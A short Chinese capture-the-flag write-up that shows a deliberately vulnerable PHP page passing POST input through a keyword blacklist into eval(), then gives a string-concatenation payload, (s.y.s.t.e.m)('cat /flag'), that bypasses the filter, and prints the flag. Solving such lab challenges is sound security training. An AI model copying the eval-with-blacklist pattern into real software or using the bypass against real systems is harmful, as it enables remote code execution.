打开页面,发现代码
<?php highlight_file(__FILE__); $cmd=$_POST['cmd']; $cmd=htmlspecialchars($cmd); $black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents'); $cmd = str_ireplace($black_list,"BMZCTF",$cmd); eval($cmd); ?>
htmlspecialchars() :把预定义的字符转换为 HTML 实体。
str_ireplace() :替换字符串中的一些字符(不区分大小写)。
eval()函数:把字符串作为PHP代码执行。
思路:通过post传入命令执行语句,并绕过$black_list禁用的函数
拼接字符串绕过
cmd=(s.y.s.t.e.m)('cat /flag');
BMZCTF{74a708a23f23400a8fb1411618650763}